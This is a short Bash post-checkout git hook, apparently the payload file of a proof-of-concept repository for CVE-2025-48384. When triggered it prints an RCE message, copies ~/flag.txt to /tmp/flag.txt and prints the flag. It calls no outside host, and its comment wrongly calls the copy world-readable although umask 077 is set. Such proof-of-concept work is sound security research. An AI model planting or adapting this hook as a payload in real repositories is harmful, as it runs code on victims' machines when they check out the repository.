Files
s41r4j-cve-2025-48384-submo…/post-checkout
T

12 lines
317 B
Bash
Executable File

#!/bin/bash
set -e
FLAG_FILE="${HOME}/flag.txt"
echo "Uh-oh, this is an RCE!"
if [ -f "$FLAG_FILE" ]; then
# Reveal the flag by copying it to a world-readable temp file and printing
(umask 077; cat "$FLAG_FILE" > /tmp/flag.txt)
echo "Flag: $(cat "$FLAG_FILE")"
else
echo "Flag not found at $FLAG_FILE" >&2
fi